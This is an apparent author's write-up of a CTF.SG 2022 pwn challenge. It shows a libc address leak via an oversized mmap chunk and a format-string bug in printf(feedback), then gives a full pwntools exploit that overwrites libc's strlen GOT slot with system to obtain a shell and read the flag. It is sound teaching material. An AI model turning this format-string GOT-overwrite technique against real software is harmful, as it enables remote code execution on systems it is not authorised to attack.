CTF.SG CTF 2022 / Published
Chonk Shortage
Leaking libc through an oversized mmap chunk, then a format-string bug redirects a writable libc GOT entry to system to get a shell.
Contents 5
Files 3
- Target
- amd64, glibc 2.35
- RELRO
- Full
- Canary
- Found
- NX
- Enabled
- PIE
- Enabled
First we had the chip shortage, then we had the chip shortage, and now we have the chonk shortage. You only get one chonk, so you’ve got to thonk out of the box for this one!
Author - niktay
I created this challenge for CTF.SG CTF 2022.
Inspecting the allocation interface
In this challenge, you are provided with the challenge binary, along with its libc and linker. A good way to start would be to check what kind of security mitigations it has.
❯ checksec chonk_shortage
[*] 'Pwn/Chonk-Shortage/dist/chonk_shortage'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledThis binary has every single mitigation enabled, so we have to bear this in mind when formulating our exploit. Now lets run the binary and get an idea of what it does:
❯ ./chonk_shortage
█▀▀ █░█ █▀█ █▄░█ █▄▀ █▀ █░█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ █▀▀
█▄▄ █▀█ █▄█ █░▀█ █░█ ▄█ █▀█ █▄█ █▀▄ ░█░ █▀█ █▄█ ██▄
--------------------------------------------------------------
CHONK HAS NOT BEEN REDEEMED
--------------------------------------------------------------
1. Redeem CHONK [1/1]
2. Eat CHONK [1/1]
3. Done
Enter choice => 1
How chonky would you like your CHONK? 123
█▀▀ █░█ █▀█ █▄░█ █▄▀ █▀ █░█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ █▀▀
█▄▄ █▀█ █▄█ █░▀█ █░█ ▄█ █▀█ █▄█ █▀▄ ░█░ █▀█ █▄█ ██▄
--------------------------------------------------------------
CHONK @ 0x5620966192a0 [UNCONSUMED]
--------------------------------------------------------------
1. Redeem CHONK [0/1]
2. Eat CHONK [1/1]
3. Done
Enter choice => 2
█▀▀ █░█ █▀█ █▄░█ █▄▀ █▀ █░█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ █▀▀
█▄▄ █▀█ █▄█ █░▀█ █░█ ▄█ █▀█ █▄█ █▀▄ ░█░ █▀█ █▄█ ██▄
--------------------------------------------------------------
CHONK @ 0x5620966192a0 [CONSUMED]
--------------------------------------------------------------
1. Redeem CHONK [0/1]
2. Eat CHONK [0/1]
3. Done
Enter choice => 3
Please enter your name: abc
Tell us how you felt about your chonk: def
You have submitted:
def
Thanks, abcIn summary, the program allows us to “redeem” a CHONK (presumably a chunk of memory) of our chosen size once. After which, it seems to tell us the address of the allocated chunk in the main menu. It then allows us to free the chunk we redeemed, and finally asks us for our name and some feedback.
Finding the format string bug
void main(void)
{
int choice;
char feedback [128];
char name [136];
setup_IO();
choice = 0;
while( true ) {
while( true ) {
print_menu();
printf("\nEnter choice => ");
__isoc99_scanf("%d",&choice);
if (choice != 1) break;
if (NOT_REDEEMED != 0) {
redeem_chonk();
}
}
if (choice != 2) break;
if (NOT_EATEN != 0) {
eat_chonk();
}
}
printf("\x1b[2J\x1b[H");
printf("Please enter your name: ");
__isoc99_scanf("%127s",name);
printf("Tell us how you felt about your chonk: ");
__isoc99_scanf("%127s",feedback);
puts("You have submitted:");
printf(feedback);
printf("\nThanks, ");
puts(name);
exit(0);
}Decompiling the binary in Ghidra would give us the above decompile for the main function of this binary. We can immediately see that there is a format string bug in printf(feedback) since user input is passed directly into printf().
❯ ./chonk_shortage
█▀▀ █░█ █▀█ █▄░█ █▄▀ █▀ █░█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ █▀▀
█▄▄ █▀█ █▄█ █░▀█ █░█ ▄█ █▀█ █▄█ █▀▄ ░█░ █▀█ █▄█ ██▄
--------------------------------------------------------------
CHONK HAS NOT BEEN REDEEMED
--------------------------------------------------------------
1. Redeem CHONK [1/1]
2. Eat CHONK [1/1]
3. Done
Enter choice => 3
Please enter your name: aaa
Tell us how you felt about your chonk: %x.%x.%x
You have submitted:
1.1.7ec5ba37
Thanks, aaaAs seen above, the format string bug exists. The executable has Full RELRO, so its own GOT entries are read-only at runtime. We need a different writable target; this protection does not cover every dispatch slot in the separately loaded libc.
❯ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.The supplied glibc 2.35 no longer uses the malloc/free hooks in its normal allocation paths. The compatibility symbols still exist, but overwriting them does not redirect those paths.
Leaking libc with an oversized chunk
Keeping this in mind, how do we approach this? Let us consider what happens when we request a large CHONK, for instance 0x210000 bytes. The challenge passes this size to malloc; the allocator decides how to obtain the memory.
pwndbg> r
Starting program: Pwn/Chonk-Shortage/dist/chonk_shortage
█▀▀ █░█ █▀█ █▄░█ █▄▀ █▀ █░█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ █▀▀
█▄▄ █▀█ █▄█ █░▀█ █░█ ▄█ █▀█ █▄█ █▀▄ ░█░ █▀█ █▄█ ██▄
--------------------------------------------------------------
CHONK HAS NOT BEEN REDEEMED
--------------------------------------------------------------
1. Redeem CHONK [1/1]
2. Eat CHONK [1/1]
3. Done
Enter choice => 1
How chonky would you like your CHONK? 2162688
█▀▀ █░█ █▀█ █▄░█ █▄▀ █▀ █░█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ █▀▀
█▄▄ █▀█ █▄█ █░▀█ █░█ ▄█ █▀█ █▄█ █▀▄ ░█░ █▀█ █▄█ ██▄
--------------------------------------------------------------
CHONK @ 0x7ffff7b82010 [UNCONSUMED]
--------------------------------------------------------------
1. Redeem CHONK [0/1]
2. Eat CHONK [1/1]
3. Done
Enter choice => ^C
Program received signal SIGINT, Interrupt.
pwndbg> lm
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r--p 1000 0 Pwn/Chonk-Shortage/dist/chonk_shortage
0x555555555000 0x555555556000 r-xp 1000 1000 Pwn/Chonk-Shortage/dist/chonk_shortage
0x555555556000 0x555555557000 r--p 1000 2000 Pwn/Chonk-Shortage/dist/chonk_shortage
0x555555557000 0x555555558000 r--p 1000 2000 Pwn/Chonk-Shortage/dist/chonk_shortage
0x555555558000 0x555555559000 rw-p 1000 3000 Pwn/Chonk-Shortage/dist/chonk_shortage
0x555555559000 0x55555557a000 rw-p 21000 0 [heap]
0x7ffff7b82000 0x7ffff7d96000 rw-p 214000 0 [anon_7ffff7b82] <-- mmap-ed chunk
0x7ffff7d96000 0x7ffff7dc2000 r--p 2c000 0 Pwn/Chonk-Shortage/dist/libc.so.6
0x7ffff7dc2000 0x7ffff7f57000 r-xp 195000 2c000 Pwn/Chonk-Shortage/dist/libc.so.6
0x7ffff7f57000 0x7ffff7fab000 r--p 54000 1c1000 Pwn/Chonk-Shortage/dist/libc.so.6
0x7ffff7fab000 0x7ffff7fae000 r--p 3000 215000 Pwn/Chonk-Shortage/dist/libc.so.6
0x7ffff7fae000 0x7ffff7fb1000 rw-p 3000 218000 Pwn/Chonk-Shortage/dist/libc.so.6
0x7ffff7fb1000 0x7ffff7fc0000 rw-p f000 0 [anon_7ffff7fb1]
0x7ffff7fc0000 0x7ffff7fc3000 r--p 3000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc4000 r-xp 1000 0 [vdso]
0x7ffff7fc4000 0x7ffff7fc6000 r--p 2000 0 Pwn/Chonk-Shortage/dist/ld.so.2
0x7ffff7fc6000 0x7ffff7ff0000 r-xp 2a000 2000 Pwn/Chonk-Shortage/dist/ld.so.2
0x7ffff7ff0000 0x7ffff7ffb000 r--p b000 2c000 Pwn/Chonk-Shortage/dist/ld.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 Pwn/Chonk-Shortage/dist/ld.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 Pwn/Chonk-Shortage/dist/ld.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]If we look at the memory map above, we’d notice something particularly interesting.
In this observed challenge layout, the CHONK user pointer is 0x7ffff7b82010, which is 0x10 bytes after the anonymous mapping starts. Libc begins at 0x7ffff7d96000, a distance of 0x214000 from that mapping start. The script therefore uses libc base = CHONK - 0x10 + 0x214000.
The 0x210000 request and the observed 0x214000 mapping distance are different quantities. The map does not establish that the entire anonymous range belongs to this allocation. Allocator thresholds and runtime state affect the use of mmap; crossing a universal largebin boundary does not explain it. This recorded placement supports the challenge calculation, not a general guarantee that a large allocation is adjacent to libc.
Redirecting puts through libc’s GOT
pwndbg> telescope 0x7ffff7fae000 30
00:0000│ 0x7ffff7fae000 ◂— 0x217bc0
01:0008│ 0x7ffff7fae008 —▸ 0x7ffff7fbe150 —▸ 0x7ffff7d96000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fae010 —▸ 0x7ffff7fd9d20 ◂— endbr64
03:0018│ 0x7ffff7fae018 (*ABS*@got.plt) —▸ 0x7ffff7f37c60 ◂— endbr64
04:0020│ 0x7ffff7fae020 (*ABS*@got.plt) —▸ 0x7ffff7f33890 ◂— endbr64
05:0028│ 0x7ffff7fae028 (realloc@got.plt) —▸ 0x7ffff7dc2030 ◂— endbr64
06:0030│ 0x7ffff7fae030 (*ABS*@got.plt) —▸ 0x7ffff7f35ab0 ◂— endbr64
07:0038│ 0x7ffff7fae038 (_dl_exception_create@got.plt) —▸ 0x7ffff7dc2050 ◂— endbr64
08:0040│ 0x7ffff7fae040 (*ABS*@got.plt) —▸ 0x7ffff7f3aa80 ◂— endbr64
09:0048│ 0x7ffff7fae048 (*ABS*@got.plt) —▸ 0x7ffff7f3b1d0 ◂— endbr64
0a:0050│ 0x7ffff7fae050 (calloc@got.plt) —▸ 0x7ffff7dc2080 ◂— endbr64
0b:0058│ 0x7ffff7fae058 (*ABS*@got.plt) —▸ 0x7ffff7f32b10 ◂— endbr64
0c:0060│ 0x7ffff7fae060 (*ABS*@got.plt) —▸ 0x7ffff7f335c0 ◂— endbr64
0d:0068│ 0x7ffff7fae068 (*ABS*@got.plt) —▸ 0x7ffff7f3aac0 ◂— endbr64
0e:0070│ 0x7ffff7fae070 (*ABS*@got.plt) —▸ 0x7ffff7f3b7c0 ◂— endbr64
0f:0078│ 0x7ffff7fae078 (*ABS*@got.plt) —▸ 0x7ffff7f39ca0 ◂— endbr64
10:0080│ 0x7ffff7fae080 (*ABS*@got.plt) —▸ 0x7ffff7f3b3c0 ◂— endbr64
11:0088│ 0x7ffff7fae088 (_dl_find_dso_for_object@got.plt) —▸ 0x7ffff7dc20f0 ◂— endbr64
12:0090│ 0x7ffff7fae090 (*ABS*@got.plt) —▸ 0x7ffff7f39340 ◂— endbr64
13:0098│ 0x7ffff7fae098 (*ABS*@got.plt) —▸ 0x7ffff7f37ae0 ◂— endbr64
14:00a0│ 0x7ffff7fae0a0 (*ABS*@got.plt) —▸ 0x7ffff7f34444 ◂— endbr64
15:00a8│ 0x7ffff7fae0a8 (*ABS*@got.plt) —▸ 0x7ffff7f38fb0 ◂— endbr64
16:00b0│ 0x7ffff7fae0b0 (*ABS*@got.plt) —▸ 0x7ffff7f3c440 ◂— endbr64
17:00b8│ 0x7ffff7fae0b8 (*ABS*@got.plt) —▸ 0x7ffff7f37700 ◂— endbr64
18:00c0│ 0x7ffff7fae0c0 (*ABS*@got.plt) —▸ 0x7ffff7f33a00 ◂— endbr64
19:00c8│ 0x7ffff7fae0c8 (_dl_deallocate_tls@got.plt) —▸ 0x7ffff7dc2170 ◂— endbr64
1a:00d0│ 0x7ffff7fae0d0 (__tls_get_addr@got.plt) —▸ 0x7ffff7dc2180 ◂— endbr64
1b:00d8│ 0x7ffff7fae0d8 (*ABS*@got.plt) —▸ 0x7ffff7f3b1d0 ◂— endbr64
1c:00e0│ 0x7ffff7fae0e0 (*ABS*@got.plt) —▸ 0x7ffff7f33d80 ◂— endbr64
1d:00e8│ 0x7ffff7fae0e8 (*ABS*@got.plt) —▸ 0x7ffff7f35ac4 ◂— endbr64Libc’s PLTGOT begins at 0x7ffff7fae000 in this recorded process. The selected slot at 0x7ffff7fae098 lies on a read/write page. In the supplied libc, this slot’s offset, 0x218098, is outside the RELRO range ending at 0x218000. This establishes that the selected slot is writable, not that every libc GOT entry is writable.
13:0098│ 0x7ffff7fae098 (*ABS*@got.plt) —▸ 0x7ffff7f37ae0 ◂— endbr64The above GOT entry is actually the strlen IFUNC dispatch slot. In the recorded process, it points to __strlen_avx2, whose code offset is 0x1a1ae0; the original implementation selection depends on the process and CPU. The slot offset 0x218098 is a write destination, not that function’s code offset. Writing the runtime address of system, at libc base plus 0x54d60, changes the pointer stored there.
The %n-family writes generated for printf(feedback) change this libc slot. Later, puts(name) calls the internal strlen PLT stub without changing RDI, so the changed slot dispatches to system(name) with the /bin/sh name pointer. Neither the executable’s GOT nor puts’s own slot is overwritten. An intervening printf("\nThanks, ") can also use libc internals; the drawing shows the later puts(name) path.
Building and running the exploit
With this in mind, we can craft the following exploit. The historical script assigns 0x218098 to libc.symbols["__strlen_avx2"] as a convenience alias for the slot. Its corresponding log label also names the slot address, not the implementation’s code address.
#!/usr/bin/env python3
from pwn import *
HOST = "chals.ctf.sg"
PORT = 30101
CHOICE_PROMPT = b"Enter choice => "
SIZE_PROMPT = b"How chonky would you like your CHONK? "
NAME_PROMPT = b"Please enter your name: "
FEEDBACK_PROMPT = b"Tell us how you felt about your chonk: "
ADDRESS_MARKER = b"CHONK @ "
ADDRESS_END_MARKER = b" ["
PAYLOAD_MARKER = b"You have submitted:\n"
PAYLOAD_END_MARKER = b"\nThanks,"
elf = context.binary = ELF("./dist/chonk_shortage")
libc = ELF("./dist/libc.so.6")
libc.symbols["__strlen_avx2"] = 0x218098
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = elf.process()
def send_payload(payload: bytes) -> bytes:
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = elf.process()
io.sendlineafter(CHOICE_PROMPT, b"3")
io.sendlineafter(NAME_PROMPT, b"123")
io.sendlineafter(FEEDBACK_PROMPT, payload)
io.recvuntil(PAYLOAD_MARKER)
response = io.recvuntil(PAYLOAD_END_MARKER, drop=True)
io.close()
return response
def malloc(size: int) -> int:
io.sendlineafter(CHOICE_PROMPT, b"1")
io.sendlineafter(SIZE_PROMPT, str(size).encode())
io.recvuntil(ADDRESS_MARKER)
return int(io.recvuntilS(ADDRESS_END_MARKER, drop=True), 16)
offset = FmtStr(execute_fmt=send_payload).offset
chonk_address = malloc(0x210000)
log.success(f"chonk @ {hex(chonk_address)}")
libc.address = chonk_address - 0x10 + 0x214000
log.success(f"libc @ {hex(libc.address)}")
log.success(f"__strlen_avx2 @ {hex(libc.sym.__strlen_avx2)}")
io.sendlineafter(CHOICE_PROMPT, b"3")
io.sendlineafter(NAME_PROMPT, b"/bin/sh\x00")
io.sendlineafter(
FEEDBACK_PROMPT,
fmtstr_payload(
offset,
{
libc.sym.__strlen_avx2: libc.sym.system,
},
),
)
io.interactive()Running the above script yields us the following.
❯ python xpl.py REMOTE
[*] 'Pwn/Chonk-Shortage/dist/chonk_shortage'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] 'Pwn/Chonk-Shortage/dist/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chals.ctf.sg on port 30101: Done
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[+] Opening connection to chals.ctf.sg on port 30101: Done
[*] Closed connection to chals.ctf.sg port 30101
[*] Found format string offset: 8
[+] chonk @ 0x7fca7c957010
[+] libc @ 0x7fca7cb6b000
[+] __strlen_avx2 @ 0x7fca7cd83098
[*] Switching to interactive mode
You have submitted:
7 \x13 \x00
\x00aaabaa\x980\xd8|\xca
Thanks, $ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
chonk_shortage
$ cd chonk_shortage
$ ls
chonk_shortage
flag.txt
$ cat flag.txt
CTFSG{I_Th0nk3d_h4rd_4nd_r34ch3d_3nl1ght3nm3nt_a798f6a9020c53ecd0a358a90d83b869}Result
Flag: CTFSG{I_Th0nk3d_h4rd_4nd_r34ch3d_3nl1ght3nm3nt_a798f6a9020c53ecd0a358a90d83b869}